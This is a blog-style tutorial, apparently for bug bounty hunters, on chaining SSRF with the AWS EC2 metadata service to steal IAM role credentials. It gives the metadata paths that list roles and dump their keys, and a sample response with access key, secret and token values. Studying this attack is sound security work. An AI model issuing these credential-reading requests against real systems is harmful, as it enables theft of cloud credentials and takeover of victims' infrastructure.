SSRF AWS Credentials

Slack Group

Before we get started I have started a slack group dedicated to hacking. We welcome everyone from beginner to advanced to join. I will be on everyday answer questions, doing CTFs, and talking about cool hacks. If you enjoy hacking and are looking for like minded people join below:

NEW Hacking Group Slack Channel

Introduction

Server Side Request Forgery(SSRF) is an interesting attack which involves forcing a target server to send HTTP requests to a specified host on your behalf. The HTTP response will then be shown to the attacker, unless your dealing with blind SSRF. If you get SSRF on a server hosted on Amazon Web Services(AWS) you can turn this finding into a critical severity issue.

SSRF

Im not going to going over how to perform SSRF here but if you don't know what SSRF is ill explain it a little. SSRF allows an attacker to force an application to send requests on their behalf. This is often used to access resources on the internal network or resources that are behind a firewall.

Portswigger has a good blog post on SSRF if you want to learn more technical details on how to exploit this vulnerability:

https://portswigger.net/web-security/ssrf

AWS

Amazon Web Services(AWS) is the top dog in cloud computing. There are other cloud providers such as Microsoft Azure and Google Cloud but the vast majority of people use AWS.

AWS allows companies to get rid of all their self hosted infrastructure and servers and move them to the cloud. Cloud providers basically rent out servers and other infrastructure while taking care of the maintenance , updates, scaling and a lot more. You can host your web applications, firewalls, storage, databases, and virtual private server(VPS)s without having to deal with all the infrastructure headaches.

With AWS you can also control authentication through the Identity and Access Management(IAM) system. This will allow you to create users, services, and roles whole controlling what they have access to.

AWS has something called an EC2 instance, basically this acts as a VPS. A lot of people use these systems to host their web applications applications. EC2 instances use something called Instance Metadata Service documented below:

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

This metadata server can be accessed through the REST API located at "http:/169.254.169.254" . This REST API is hosted on a local IP which is only accessible to the local machine, but if accessed by an attacker it could be used to do all kinds of bad things.

SSRF on AWS

SSRF is used to force an application to make HTTP requests while showing the response to the attacker. Note the attacker must be able to view the response other wise it is considered blind SSRF which wont work here.

If an application is hosted on an AWS EC2 instance the meta data API located at "http:/169.254.169.254" can be used in combination with SSRF to steal AWS credentials. These credentials could then be used to do all kinds of things depending on their permissions.

Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:

http:/169.254.169.254/latest/meta-data/iam/security-credentials/

If you want to access your S3 bucket you would normally hardcard your API keys into your application. Hardcoding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.

Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following url:

http:/169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>

The response should look something like this:

{
"Code" : "Success",
"LastUpdated" : "2019-08-03T20:42:03Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
"Expiration" : "2019-08-04T03:16:50Z"
}

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set(Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.

Conclusion

If you find SSRF on an application hosted on AWS you might be able to steal AWS credentials. This could significantly increase the severity of your finding from low to critical. If the credentials you steal arnt scoped properly you may find yourself with the permissions to take over the entire cloud network.